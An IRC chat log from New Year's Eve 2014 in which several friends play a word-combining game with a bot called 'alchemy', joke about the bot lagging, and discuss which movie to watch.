[2014-12-31T20:47:05-0500] <+hardmath123> @combine man energy
[2014-12-31T20:47:06-0500] <alchemy> Not on your life.
[2014-12-31T20:47:06-0500] <Tamini_> rogue robot? lol
[2014-12-31T20:47:08-0500] <alchemy> Nope.
[2014-12-31T20:47:08-0500] <+hardmath123> @combine man energy
[2014-12-31T20:47:09-0500] <+JacobEdelman> there
[2014-12-31T20:47:10-0500] <alchemy> Giving up already? Give it a real try.
[2014-12-31T20:47:10-0500] <+JacobEdelman> its gone
[2014-12-31T20:47:10-0500] <ubuntor> ...
[2014-12-31T20:47:11-0500] <alchemy> man and energy don't make anything exciting.
[2014-12-31T20:47:12-0500] <alchemy> Giving up already? Give it a real try.
[2014-12-31T20:47:13-0500] <alchemy> No can do, buddy.
[2014-12-31T20:47:14-0500] <+JacobEdelman> it takes forever to stop
[2014-12-31T20:47:15-0500] <alchemy> Not on your life.
[2014-12-31T20:47:16-0500] <alchemy> Hint: It's possible to make sandstorm with soil!
[2014-12-31T20:47:17-0500] <+hardmath123> umm
[2014-12-31T20:47:18-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T20:47:19-0500] <alchemy> Nope.
[2014-12-31T20:47:19-0500] <Tamini_> hardmath123: :<
[2014-12-31T20:47:20-0500] <alchemy> Hint: It's possible to make server with linux!
[2014-12-31T20:47:20-0500] <+JacobEdelman> do to queinq or whatever
[2014-12-31T20:47:21-0500] <alchemy> Not this time!
[2014-12-31T20:47:21-0500] <+JacobEdelman> I feel done
[2014-12-31T20:47:22-0500] <alchemy> Hint: It's possible to make time with energy!
[2014-12-31T20:47:23-0500] <alchemy> No can do, buddy.
[2014-12-31T20:47:24-0500] <alchemy> Hint: It's possible to make restaurant with food!
[2014-12-31T20:47:25-0500] <Tamini_> jacob kill the bot
[2014-12-31T20:47:26-0500] <alchemy> Hint: It's possible to make coffee with sysadmin!
[2014-12-31T20:47:27-0500] <alchemy> Not this time!
[2014-12-31T20:47:27-0500] <alokpathy> hardmath123: Wait, is man + energy supposed to be genius?
[2014-12-31T20:47:28-0500] <alchemy> Nope.
[2014-12-31T20:47:29-0500] <+JacobEdelman> its dead
[2014-12-31T20:47:30-0500] <alchemy> man and energy don't make anything exciting.
[2014-12-31T20:47:32-0500] <alchemy> man and energy don't make anything exciting.
[2014-12-31T20:47:34-0500] <+hardmath123> grud
[2014-12-31T20:47:35-0500] <+JacobEdelman> this is just alchemies lag
[2014-12-31T20:47:36-0500] <+hardmath123> *crud
[2014-12-31T20:47:37-0500] <+hardmath123> typo
[2014-12-31T20:47:37-0500] <+JacobEdelman> sorry
[2014-12-31T20:47:42-0500] <+JacobEdelman> wait
[2014-12-31T20:47:45-0500] <Tamini_> ?
[2014-12-31T20:47:45-0500] <+JacobEdelman> so it wasn't our fault
[2014-12-31T20:47:48-0500] <alokpathy> HARDMATH 
[2014-12-31T20:47:51-0500] <+JacobEdelman> that we didn't get genius
[2014-12-31T20:47:54-0500] <Tamini_> i guessed that so long agoooo
[2014-12-31T20:47:56-0500] <+JacobEdelman> you gotta give it to us now
[2014-12-31T20:47:58-0500] <Tamini_> kartik pls
[2014-12-31T20:48:03-0500] <alokpathy> :|
[2014-12-31T20:48:10-0500] <+JacobEdelman> Tamini_ that name is forbidden
[2014-12-31T20:48:24-0500] <+JacobEdelman> don't reveal hardmath123's secret identity
[2014-12-31T20:48:50-0500] <Tamini_> since when
[2014-12-31T20:48:51-0500] <+JacobEdelman> also, I should probaly stop spamming this channell
[2014-12-31T20:48:56-0500] <Tamini_> yes please
[2014-12-31T20:49:07-0500] <alokpathy> Please
[2014-12-31T20:49:21-0500] <+JacobEdelman> @combine hacker crops
[2014-12-31T20:49:22-0500] <alchemy> You just discovered gmo (hacker + crops)!
[2014-12-31T20:49:22-0500] <+hardmath123> JacobEdelman: it's fine
[2014-12-31T20:49:24-0500] <Tamini_> @encourage Tamini_
[2014-12-31T20:49:25-0500] <alchemy> I love you, Tamini_.
[2014-12-31T20:49:28-0500] <+JacobEdelman> @combine jacob whitespace
[2014-12-31T20:49:29-0500] <alchemy> jacob and whitespace don't make anything exciting.
[2014-12-31T20:49:36-0500] <Tamini_> @combine crops man
[2014-12-31T20:49:37-0500] <alchemy> crops and man don't make anything exciting.
[2014-12-31T20:49:39-0500] <+hardmath123> also, really sorry about the typo :(
[2014-12-31T20:49:41-0500] <+JacobEdelman> @combine jacob jacob
[2014-12-31T20:49:42-0500] <alchemy> jacob and jacob don't make anything exciting.
[2014-12-31T20:49:42-0500] <Tamini_> @combine crops tools
[2014-12-31T20:49:43-0500] <alchemy> You don't have tools!
[2014-12-31T20:49:46-0500] <+hardmath123> that was lame of me
[2014-12-31T20:49:51-0500] <Tamini_> @combine crop tool
[2014-12-31T20:49:51-0500] <alchemy> You don't have crop!
[2014-12-31T20:49:54-0500] <+JacobEdelman> wait, what was the typo?
[2014-12-31T20:49:59-0500] <Tamini_> hardmath123: dw about it :)
[2014-12-31T20:49:59-0500] <+JacobEdelman> you should tell us
[2014-12-31T20:50:03-0500] <+hardmath123> enery
[2014-12-31T20:50:04-0500] <Tamini_> @combine crops tool
[2014-12-31T20:50:05-0500] <alchemy> crops and tool don't make anything exciting.
[2014-12-31T20:50:08-0500] <Tamini_> oh LOL
[2014-12-31T20:50:10-0500] <+JacobEdelman> @combine man energy
[2014-12-31T20:50:11-0500] <alchemy> man and energy don't make anything exciting.
[2014-12-31T20:50:17-0500] <Tamini_> @combine man enery
[2014-12-31T20:50:18-0500] <alchemy> You don't have enery!
[2014-12-31T20:50:19-0500] <+JacobEdelman> @combine computer energy
[2014-12-31T20:50:20-0500] <alchemy> computer and energy don't make anything exciting.
[2014-12-31T20:50:28-0500] <+JacobEdelman> @combine energy computer
[2014-12-31T20:50:29-0500] <alchemy> energy and computer don't make anything exciting.
[2014-12-31T20:50:29-0500] <Tamini_> @reload
[2014-12-31T20:50:31-0500] <Tamini_> ?
[2014-12-31T20:50:35-0500] <+JacobEdelman> @combine man energy
[2014-12-31T20:50:36-0500] <alchemy> man and energy don't make anything exciting.
[2014-12-31T20:50:40-0500] <alokpathy> @list
[2014-12-31T20:50:41-0500] <alchemy> You have: aaron, air, alok, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, gmo
[2014-12-31T20:50:41-0500] <alchemy> You have: google, hacker, hal, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning, lightsaber, linux, love, loveletter, man, metal, mountain
[2014-12-31T20:50:41-0500] <alchemy> You have: neanderthal, nexorg, ocean, olaf, paper, pdgn, penguin, plant, pool, puddle, python, rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow
[2014-12-31T20:50:41-0500] <alchemy> You have: snowman, soil, starship, steam, stone, sword, thunder, tool, tornado, torvalds, tree, tsunami, villain, water, whitehat, whitespace, wind, wood
[2014-12-31T20:50:41-0500] <alchemy> That's 78 out of 127!
[2014-12-31T20:50:46-0500] <alokpathy> @combine man energy
[2014-12-31T20:50:47-0500] <alchemy> man and energy don't make anything exciting.
[2014-12-31T20:50:49-0500] <alokpathy> wat
[2014-12-31T20:50:54-0500] <Tamini_> alokpathy: let him reload
[2014-12-31T20:50:58-0500] <alokpathy> Oh okay
[2014-12-31T20:51:03-0500] chester-bot (chester-bot@pdgn-g8u.fvv.3f73sf.IP) left IRC (Ping timeout: 121 seconds)
[2014-12-31T20:51:09-0500] <Tamini_> lol
[2014-12-31T20:51:15-0500] <+hardmath123> @refresh
[2014-12-31T20:51:16-0500] <alchemy> Refreshing...
[2014-12-31T20:51:16-0500] <alchemy> Done.
[2014-12-31T20:51:16-0500] <Tamini_> chester is a rogue ai
[2014-12-31T20:51:18-0500] <Tamini_> he must die
[2014-12-31T20:51:19-0500] <+hardmath123> anyone can refresh
[2014-12-31T20:51:21-0500] <+hardmath123> fyi
[2014-12-31T20:51:22-0500] <Tamini_> @combine man energy
[2014-12-31T20:51:23-0500] <alchemy> You just discovered genius (man + energy)!
[2014-12-31T20:51:23-0500] <Tamini_> oh ok
[2014-12-31T20:51:25-0500] <alokpathy> woo
[2014-12-31T20:51:32-0500] <Tamini_> @combine computer genius
[2014-12-31T20:51:33-0500] <alchemy> computer and genius don't make anything exciting.
[2014-12-31T20:51:35-0500] <alokpathy> @list
[2014-12-31T20:51:36-0500] <alchemy> You have: aaron, air, alok, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, genius
[2014-12-31T20:51:36-0500] <alchemy> You have: gmo, google, hacker, hal, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning, lightsaber, linux, love, loveletter, man, metal
[2014-12-31T20:51:36-0500] <alchemy> You have: mountain, neanderthal, nexorg, ocean, olaf, paper, pdgn, penguin, plant, pool, puddle, python, rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship
[2014-12-31T20:51:36-0500] <alchemy> You have: snow, snowman, soil, starship, steam, stone, sword, thunder, tool, tornado, torvalds, tree, tsunami, villain, water, whitehat, whitespace, wind, wood
[2014-12-31T20:51:36-0500] <alchemy> That's 79 out of 128!
[2014-12-31T20:51:38-0500] <Tamini_> @combine hacker genius
[2014-12-31T20:51:38-0500] <alchemy> You just discovered mel (hacker + genius)!
[2014-12-31T20:51:42-0500] <alokpathy> LOL
[2014-12-31T20:51:45-0500] <Tamini_> @combine pdgn genius
[2014-12-31T20:51:46-0500] <alchemy> You just discovered ashley (pdgn + genius)!
[2014-12-31T20:51:55-0500] <Tamini_> @combine villain genius
[2014-12-31T20:51:56-0500] <alchemy> villain and genius don't make anything exciting.
[2014-12-31T20:52:00-0500] <alokpathy> So Tamini_ is pdgn genius :P
[2014-12-31T20:52:02-0500] <Tamini_> and lol <3
[2014-12-31T20:52:07-0500] <Tamini_> @combine evil genius
[2014-12-31T20:52:07-0500] <alchemy> You just discovered megamind (evil + genius)!
[2014-12-31T20:52:19-0500] <alokpathy> @combine genius love
[2014-12-31T20:52:19-0500] <alchemy> genius and love don't make anything exciting.
[2014-12-31T20:52:22-0500] <Tamini_> @combine energy genius
[2014-12-31T20:52:23-0500] <alchemy> You just discovered science (energy + genius)!
[2014-12-31T20:52:23-0500] <alokpathy> @combine genius linux
[2014-12-31T20:52:24-0500] <alchemy> genius and linux don't make anything exciting.
[2014-12-31T20:52:26-0500] <alokpathy> Nice nice
[2014-12-31T20:52:29-0500] The_Master (uid51972@pdgn-vvu.9lf.7cuf9e.IP) joined the channel
[2014-12-31T20:52:29-0500] <alokpathy> @combine science man
[2014-12-31T20:52:30-0500] <Tamini_> @combine science genius
[2014-12-31T20:52:31-0500] <alchemy> science and man don't make anything exciting.
[2014-12-31T20:52:32-0500] <alchemy> You just discovered einstein (science + genius)!
[2014-12-31T20:52:36-0500] <alokpathy> woo
[2014-12-31T20:52:37-0500] <Tamini_> uhh
[2014-12-31T20:52:38-0500] <alokpathy> on a roll
[2014-12-31T20:52:39-0500] <alokpathy> @list
[2014-12-31T20:52:39-0500] <Tamini_> what else is there
[2014-12-31T20:52:40-0500] <alchemy> You have: aaron, air, alok, ashley, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent, evil, fire, fireman
[2014-12-31T20:52:40-0500] <alchemy> You have: friendship, genius, gmo, google, hacker, hal, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning, lightsaber, linux, love, loveletter
[2014-12-31T20:52:40-0500] <alchemy> You have: man, megamind, mel, metal, mountain, neanderthal, nexorg, ocean, olaf, paper, pdgn, penguin, plant, pool, puddle, python, rain, rainbow, robot, rust
[2014-12-31T20:52:40-0500] <alchemy> You have: sandstorm, science, sculpture, sentience, ship, snow, snowman, soil, starship, steam, stone, sword, thunder, tool, tornado, torvalds, tree, tsunami, villain, water
[2014-12-31T20:52:40-0500] <alchemy> You have: whitehat, whitespace, wind, wood
[2014-12-31T20:52:40-0500] <alchemy> That's 84 out of 128!
[2014-12-31T20:52:56-0500] <alokpathy> @combine genius man
[2014-12-31T20:52:57-0500] <alchemy> genius and man don't make anything exciting.
[2014-12-31T20:52:59-0500] <Tamini_> @combine genius internet
[2014-12-31T20:52:59-0500] <alokpathy> @combine genius aaron
[2014-12-31T20:53:00-0500] <alchemy> genius and internet don't make anything exciting.
[2014-12-31T20:53:00-0500] <Tamini_> @combine paper genius
[2014-12-31T20:53:01-0500] <alchemy> genius and aaron don't make anything exciting.
[2014-12-31T20:53:02-0500] <alchemy> You just discovered math (paper + genius)!
[2014-12-31T20:53:03-0500] <alokpathy> @combine genius alok
[2014-12-31T20:53:03-0500] <alchemy> genius and alok don't make anything exciting.
[2014-12-31T20:53:05-0500] <alokpathy> @combine genius jacob
[2014-12-31T20:53:06-0500] <alchemy> genius and jacob don't make anything exciting.
[2014-12-31T20:53:07-0500] <Tamini_> @combine math genius
[2014-12-31T20:53:08-0500] <alchemy> You just discovered euler (math + genius)!
[2014-12-31T20:53:11-0500] <Tamini_> @combine math computer
[2014-12-31T20:53:12-0500] <alokpathy> woo
[2014-12-31T20:53:12-0500] <The_Master> @possible Ezra
[2014-12-31T20:53:12-0500] <alchemy> math and computer don't make anything exciting.
[2014-12-31T20:53:14-0500] <alchemy> No, you can't make Ezra.
[2014-12-31T20:53:17-0500] <The_Master> @possible ezra
[2014-12-31T20:53:18-0500] <alchemy> No, you can't make ezra.
[2014-12-31T20:53:19-0500] <Tamini_> @combine math paper
[2014-12-31T20:53:19-0500] <alchemy> math and paper don't make anything exciting.
[2014-12-31T20:53:22-0500] <alokpathy> @list
[2014-12-31T20:53:23-0500] <alchemy> You have: aaron, air, alok, ashley, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent, euler, evil, fire
[2014-12-31T20:53:23-0500] <alchemy> You have: fireman, friendship, genius, gmo, google, hacker, hal, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning, lightsaber, linux, love
[2014-12-31T20:53:23-0500] <alchemy> You have: loveletter, man, math, megamind, mel, metal, mountain, neanderthal, nexorg, ocean, olaf, paper, pdgn, penguin, plant, pool, puddle, python, rain, rainbow
[2014-12-31T20:53:23-0500] <alchemy> You have: robot, rust, sandstorm, science, sculpture, sentience, ship, snow, snowman, soil, starship, steam, stone, sword, thunder, tool, tornado, torvalds, tree, tsunami
[2014-12-31T20:53:23-0500] <alchemy> You have: villain, water, whitehat, whitespace, wind, wood
[2014-12-31T20:53:23-0500] <alchemy> That's 86 out of 128!
[2014-12-31T20:53:24-0500] <Tamini_> @combine math math
[2014-12-31T20:53:25-0500] <alchemy> math and math don't make anything exciting.
[2014-12-31T20:53:29-0500] <Tamini_> @combine math pdgn
[2014-12-31T20:53:30-0500] <alchemy> math and pdgn don't make anything exciting.
[2014-12-31T20:53:31-0500] <alokpathy> Crap what else were we missing
[2014-12-31T20:53:34-0500] <Tamini_> :(
[2014-12-31T20:53:38-0500] <alokpathy> Oh, food
[2014-12-31T20:53:40-0500] <alokpathy> We still need food.
[2014-12-31T20:53:40-0500] <The_Master> @combine villain genius
[2014-12-31T20:53:41-0500] <Tamini_> yea
[2014-12-31T20:53:42-0500] <alchemy> villain and genius don't make anything exciting.
[2014-12-31T20:53:47-0500] <alokpathy> @combine crops genius
[2014-12-31T20:53:47-0500] <alchemy> crops and genius don't make anything exciting.
[2014-12-31T20:53:51-0500] <alokpathy> @combine crops man
[2014-12-31T20:53:51-0500] <alchemy> crops and man don't make anything exciting.
[2014-12-31T20:53:54-0500] <The_Master> @combine ashley alok
[2014-12-31T20:53:55-0500] <alchemy> You just discovered alokmini (ashley + alok)!
[2014-12-31T20:53:58-0500] <alokpathy> Oh yeah LOL
[2014-12-31T20:53:59-0500] <Tamini_> @possible axe
[2014-12-31T20:54:00-0500] <alchemy> Yeah, you can make axe.
[2014-12-31T20:54:01-0500] <Tamini_> that too
[2014-12-31T20:54:05-0500] <Tamini_> oh i forgot
[2014-12-31T20:54:05-0500] <alokpathy> @combine metal tool
[2014-12-31T20:54:05-0500] <Tamini_> LOL
[2014-12-31T20:54:06-0500] <alchemy> You already combined metal and tool to get sculpture.
[2014-12-31T20:54:15-0500] <Tamini_> hardmath123: we got alokmini <3
[2014-12-31T20:54:29-0500] <The_Master> hardmath123: add ezra
[2014-12-31T20:54:47-0500] <Tamini_> but jacob is already the evil robot
[2014-12-31T20:55:00-0500] <Tamini_> @possible pidgeon
[2014-12-31T20:55:01-0500] <alchemy> Yeah, you can make pidgeon.
[2014-12-31T20:55:05-0500] <+hardmath123> who's ezra?
[2014-12-31T20:55:08-0500] <The_Master> me
[2014-12-31T20:55:11-0500] <+hardmath123> oh
[2014-12-31T20:55:13-0500] <+hardmath123> right
[2014-12-31T20:55:17-0500] <The_Master> gtg
[2014-12-31T20:55:19-0500] <Tamini_> little edelman
[2014-12-31T20:55:23-0500] <Tamini_> later The_Master
[2014-12-31T20:56:53-0500] <Tamini_> alokpathy: ideas for food?
[2014-12-31T20:56:58-0500] <Tamini_> also knuth
[2014-12-31T20:57:30-0500] <Tamini_> @combine computer genius
[2014-12-31T20:57:30-0500] <alchemy> computer and genius don't make anything exciting.
[2014-12-31T20:57:34-0500] <Tamini_> @combine computer man
[2014-12-31T20:57:34-0500] <alchemy> computer and man don't make anything exciting.
[2014-12-31T20:57:39-0500] <Tamini_> @combine computer computer
[2014-12-31T20:57:39-0500] <alchemy> computer and computer don't make anything exciting.
[2014-12-31T20:57:49-0500] <Tamini_> @hint
[2014-12-31T20:57:50-0500] <alchemy> Hint: It's possible to make xkcd with sentience!
[2014-12-31T20:57:59-0500] <Tamini_> @combine sentience love
[2014-12-31T20:57:59-0500] <alchemy> sentience and love don't make anything exciting.
[2014-12-31T20:58:06-0500] <Tamini_> @combine genius sentience
[2014-12-31T20:58:06-0500] <alchemy> genius and sentience don't make anything exciting.
[2014-12-31T20:58:12-0500] <Tamini_> @combine sentience robot
[2014-12-31T20:58:13-0500] <alchemy> sentience and robot don't make anything exciting.
[2014-12-31T20:58:21-0500] <Tamini_> @combine sentience paper
[2014-12-31T20:58:21-0500] <alchemy> sentience and paper don't make anything exciting.
[2014-12-31T20:59:51-0500] <alokpathy> @list
[2014-12-31T20:59:52-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent, euler, evil
[2014-12-31T20:59:52-0500] <alchemy> You have: fire, fireman, friendship, genius, gmo, google, hacker, hal, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning, lightsaber, linux
[2014-12-31T20:59:52-0500] <alchemy> You have: love, loveletter, man, math, megamind, mel, metal, mountain, neanderthal, nexorg, ocean, olaf, paper, pdgn, penguin, plant, pool, puddle, python, rain
[2014-12-31T20:59:52-0500] <alchemy> You have: rainbow, robot, rust, sandstorm, science, sculpture, sentience, ship, snow, snowman, soil, starship, steam, stone, sword, thunder, tool, tornado, torvalds, tree
[2014-12-31T20:59:52-0500] <alchemy> You have: tsunami, villain, water, whitehat, whitespace, wind, wood
[2014-12-31T20:59:52-0500] <alchemy> That's 87 out of 128!
[2014-12-31T21:01:35-0500] <+hardmath123> 87, gosh, i'll need to start adding stuff soon
[2014-12-31T21:02:28-0500] <alokpathy> At least let us get the satisfaction of getting everything LOL
[2014-12-31T21:02:49-0500] <Tamini_> lol
[2014-12-31T21:03:13-0500] <+hardmath123> but you'll never get recursion
[2014-12-31T21:03:14-0500] <+hardmath123> :P
[2014-12-31T21:05:53-0500] <alokpathy> :(
[2014-12-31T21:06:05-0500] <alokpathy> Maybe there's a second way to get recursion? :D
[2014-12-31T21:06:26-0500] <alokpathy> It needs a base case :P
[2014-12-31T21:08:36-0500] <Tamini_> lol
[2014-12-31T21:15:06-0500] <Tamini_> also
[2014-12-31T21:15:10-0500] <Tamini_> jacob was right :P
[2014-12-31T21:15:15-0500] <Tamini_> im at the party on irx
[2014-12-31T21:15:17-0500] <Tamini_> irc*
[2014-12-31T21:19:18-0500] <alokpathy> :D
[2014-12-31T21:25:28-0500] <Tamini_> <3
[2014-12-31T21:25:31-0500] <+JacobEdelman> I told you so
[2014-12-31T21:25:31-0500] <Tamini_> pls
[2014-12-31T21:25:38-0500] <Tamini_> i have friends i promise
[2014-12-31T21:25:49-0500] <+JacobEdelman> hardmath123: add verbs that you can get
[2014-12-31T21:25:55-0500] <+JacobEdelman> hardmath123: like getting subtract
[2014-12-31T21:26:05-0500] <+JacobEdelman> hardmath123: awe - programming = hair
[2014-12-31T21:26:34-0500] <+JacobEdelman> hardmath123:  villain - ego = failure
[2014-12-31T21:26:38-0500] <+JacobEdelman> or things like that
[2014-12-31T21:26:48-0500] <+JacobEdelman> (those were all bad examples I guess...)
[2014-12-31T21:26:52-0500] <+JacobEdelman> and you can get more verbs
[2014-12-31T21:27:12-0500] <+JacobEdelman> @combine @combine @combine = @tricombine
[2014-12-31T21:27:20-0500] <+JacobEdelman> (for combining three things)
[2014-12-31T21:27:23-0500] <+JacobEdelman> and stuff like that
[2014-12-31T21:32:10-0500] <alokpathy> @list
[2014-12-31T21:32:10-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent, euler, evil
[2014-12-31T21:32:10-0500] <alchemy> You have: fire, fireman, friendship, genius, gmo, google, hacker, hal, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning, lightsaber, linux
[2014-12-31T21:32:10-0500] <alchemy> You have: love, loveletter, man, math, megamind, mel, metal, mountain, neanderthal, nexorg, ocean, olaf, paper, pdgn, penguin, plant, pool, puddle, python, rain
[2014-12-31T21:32:10-0500] <alchemy> You have: rainbow, robot, rust, sandstorm, science, sculpture, sentience, ship, snow, snowman, soil, starship, steam, stone, sword, thunder, tool, tornado, torvalds, tree
[2014-12-31T21:32:10-0500] <alchemy> You have: tsunami, villain, water, whitehat, whitespace, wind, wood
[2014-12-31T21:32:10-0500] <alchemy> That's 87 out of 128!
[2014-12-31T21:32:17-0500] <alokpathy> @combine euler einstein
[2014-12-31T21:32:17-0500] <alchemy> euler and einstein don't make anything exciting.
[2014-12-31T21:32:42-0500] <+JacobEdelman> wait how'd we get mel?
[2014-12-31T21:32:45-0500] <+JacobEdelman> what is mel?
[2014-12-31T21:32:48-0500] <alokpathy> I forget
[2014-12-31T21:32:57-0500] <+JacobEdelman> so
[2014-12-31T21:33:15-0500] <+JacobEdelman> its 9 oclock
[2014-12-31T21:33:21-0500] <+JacobEdelman> people at pdgn should start a movie soon
[2014-12-31T21:33:29-0500] <+JacobEdelman> cause thats fun
[2014-12-31T21:33:30-0500] <+JacobEdelman> ideas?
[2014-12-31T21:35:40-0500] <alokpathy> Hm
[2014-12-31T21:37:59-0500] <alokpathy> Sherlock?
[2014-12-31T21:38:22-0500] <+JacobEdelman> the tv show is great
[2014-12-31T21:38:26-0500] <+JacobEdelman> the movies are supposed to be bad
[2014-12-31T21:38:32-0500] <+JacobEdelman> boyhood is a possibility
[2014-12-31T21:38:37-0500] <+JacobEdelman> not nerdy but still very good
[2014-12-31T21:38:40-0500] <alokpathy> I liked the movies
[2014-12-31T21:38:42-0500] <@awe> Boyhood is great.
[2014-12-31T21:38:50-0500] <+JacobEdelman> yeah, its a possibility
[2014-12-31T21:39:05-0500] <alokpathy> 7.6 on IMDB
[2014-12-31T21:39:12-0500] <+JacobEdelman> look at metacritic
[2014-12-31T21:39:16-0500] <+JacobEdelman> metacritic I respect
[2014-12-31T21:39:57-0500] <alokpathy> 57
[2014-12-31T21:40:00-0500] <The_Master> star wars holiday special!
[2014-12-31T21:40:02-0500] <alokpathy> out of?
[2014-12-31T21:40:17-0500] <@awe> 100
[2014-12-31T21:40:20-0500] <alokpathy> Oh
[2014-12-31T21:41:29-0500] <The_Master> the star wars holiday special got a 1.9/10
[2014-12-31T21:41:44-0500] <alokpathy> Yo nice
[2014-12-31T21:43:02-0500] <The_Master> http://xkcd.com/653/
[2014-12-31T21:44:38-0500] <+JacobEdelman> hmmm... I'm leaning towards boyhood
[2014-12-31T21:45:04-0500] <alokpathy> wat
[2014-12-31T21:45:36-0500] <alokpathy> Tamini_: Ignore your party
[2014-12-31T21:45:37-0500] <alokpathy> join us
[2014-12-31T21:45:40-0500] <alokpathy> @list
[2014-12-31T21:45:41-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent, euler, evil
[2014-12-31T21:45:41-0500] <alchemy> You have: fire, fireman, friendship, genius, gmo, google, hacker, hal, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning, lightsaber, linux
[2014-12-31T21:45:41-0500] <alchemy> You have: love, loveletter, man, math, megamind, mel, metal, mountain, neanderthal, nexorg, ocean, olaf, paper, pdgn, penguin, plant, pool, puddle, python, rain
[2014-12-31T21:45:41-0500] <alchemy> You have: rainbow, robot, rust, sandstorm, science, sculpture, sentience, ship, snow, snowman, soil, starship, steam, stone, sword, thunder, tool, tornado, torvalds, tree
[2014-12-31T21:45:41-0500] <alchemy> You have: tsunami, villain, water, whitehat, whitespace, wind, wood
[2014-12-31T21:45:41-0500] <alchemy> That's 87 out of 128!
[2014-12-31T21:45:50-0500] <alokpathy> @combine blah blabittyblah
[2014-12-31T21:45:50-0500] <alchemy> You don't have blah!
[2014-12-31T21:45:59-0500] <alokpathy> This is false.
[2014-12-31T21:46:00-0500] <+JacobEdelman> maybe birdman
[2014-12-31T21:46:22-0500] <alokpathy> Birdemic
[2014-12-31T21:46:23-0500] <The_Master> @combine air fire earth water
[2014-12-31T21:48:35-0500] <The_Master> @combine starship hal
[2014-12-31T21:48:35-0500] <alchemy> starship and hal don't make anything exciting.
[2014-12-31T21:49:11-0500] <The_Master> @possible * 
[2014-12-31T21:49:19-0500] <@awe> @combine loveletter nexorg
[2014-12-31T21:49:20-0500] <alchemy> loveletter and nexorg don't make anything exciting.
[2014-12-31T21:49:22-0500] <@awe> :(
[2014-12-31T21:49:25-0500] <@awe> @combine love nexorg
[2014-12-31T21:49:26-0500] <alchemy> love and nexorg don't make anything exciting.
[2014-12-31T21:50:08-0500] <+JacobEdelman> awe
[2014-12-31T21:50:11-0500] <The_Master> @hint
[2014-12-31T21:50:11-0500] <alchemy> Not this time!
[2014-12-31T21:50:17-0500] <+JacobEdelman> we are looking at your list for good movies
[2014-12-31T21:50:30-0500] <+JacobEdelman> ben comments that you like quentitin terratino or whatever
[2014-12-31T21:50:40-0500] <The_Master> ns
[2014-12-31T21:53:03-0500] <The_Master> @possible xkcd
[2014-12-31T21:53:04-0500] <alchemy> Yeah, you can make xkcd.
[2014-12-31T21:53:42-0500] <@awe> JacobEdelman: Yes, that is true.
[2014-12-31T21:53:57-0500] <alokpathy> ooo xkcd
[2014-12-31T21:53:58-0500] <alokpathy> hm
[2014-12-31T21:54:04-0500] <alokpathy> @possible joke
[2014-12-31T21:54:05-0500] <alchemy> No, you can't make joke.
[2014-12-31T21:54:08-0500] <alokpathy> @possible jokes
[2014-12-31T21:54:09-0500] <alchemy> No, you can't make jokes.
[2014-12-31T21:54:09-0500] <@awe> @possible comic
[2014-12-31T21:54:10-0500] <alchemy> No, you can't make comic.
[2014-12-31T21:54:11-0500] <+JacobEdelman> @list
[2014-12-31T21:54:12-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent, euler, evil
[2014-12-31T21:54:12-0500] <alchemy> You have: fire, fireman, friendship, genius, gmo, google, hacker, hal, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning, lightsaber, linux
[2014-12-31T21:54:12-0500] <alchemy> You have: love, loveletter, man, math, megamind, mel, metal, mountain, neanderthal, nexorg, ocean, olaf, paper, pdgn, penguin, plant, pool, puddle, python, rain
[2014-12-31T21:54:12-0500] <alchemy> You have: rainbow, robot, rust, sandstorm, science, sculpture, sentience, ship, snow, snowman, soil, starship, steam, stone, sword, thunder, tool, tornado, torvalds, tree
[2014-12-31T21:54:12-0500] <alchemy> You have: tsunami, villain, water, whitehat, whitespace, wind, wood
[2014-12-31T21:54:12-0500] <alchemy> That's 87 out of 128!
[2014-12-31T21:54:17-0500] <+JacobEdelman> hmmm...]
[2014-12-31T21:54:18-0500] <@awe> @combine internet starship
[2014-12-31T21:54:19-0500] <alchemy> internet and starship don't make anything exciting.
[2014-12-31T21:54:22-0500] <+JacobEdelman> @combine math oy
[2014-12-31T21:54:23-0500] <alchemy> You don't have oy!
[2014-12-31T21:54:24-0500] <+JacobEdelman> @combine math joy
[2014-12-31T21:54:25-0500] <alchemy> math and joy don't make anything exciting.
[2014-12-31T21:54:33-0500] <+JacobEdelman> @combine math science
[2014-12-31T21:54:34-0500] <alchemy> math and science don't make anything exciting.
[2014-12-31T21:54:42-0500] <+JacobEdelman> @combine math paper
[2014-12-31T21:54:43-0500] <alchemy> math and paper don't make anything exciting.
[2014-12-31T21:54:47-0500] <+JacobEdelman> @combine math love
[2014-12-31T21:54:48-0500] <alchemy> math and love don't make anything exciting.
[2014-12-31T21:54:55-0500] <alokpathy> @combine love alok
[2014-12-31T21:54:56-0500] <alchemy> love and alok don't make anything exciting.
[2014-12-31T21:54:56-0500] <+JacobEdelman> @combine math friendship
[2014-12-31T21:54:57-0500] <alchemy> math and friendship don't make anything exciting.
[2014-12-31T21:54:57-0500] <alokpathy> :(
[2014-12-31T21:55:04-0500] <alokpathy> @combine friendship alok
[2014-12-31T21:55:04-0500] <alchemy> friendship and alok don't make anything exciting.
[2014-12-31T21:55:05-0500] <alokpathy> :(
[2014-12-31T21:55:15-0500] <+JacobEdelman> @combine math computer
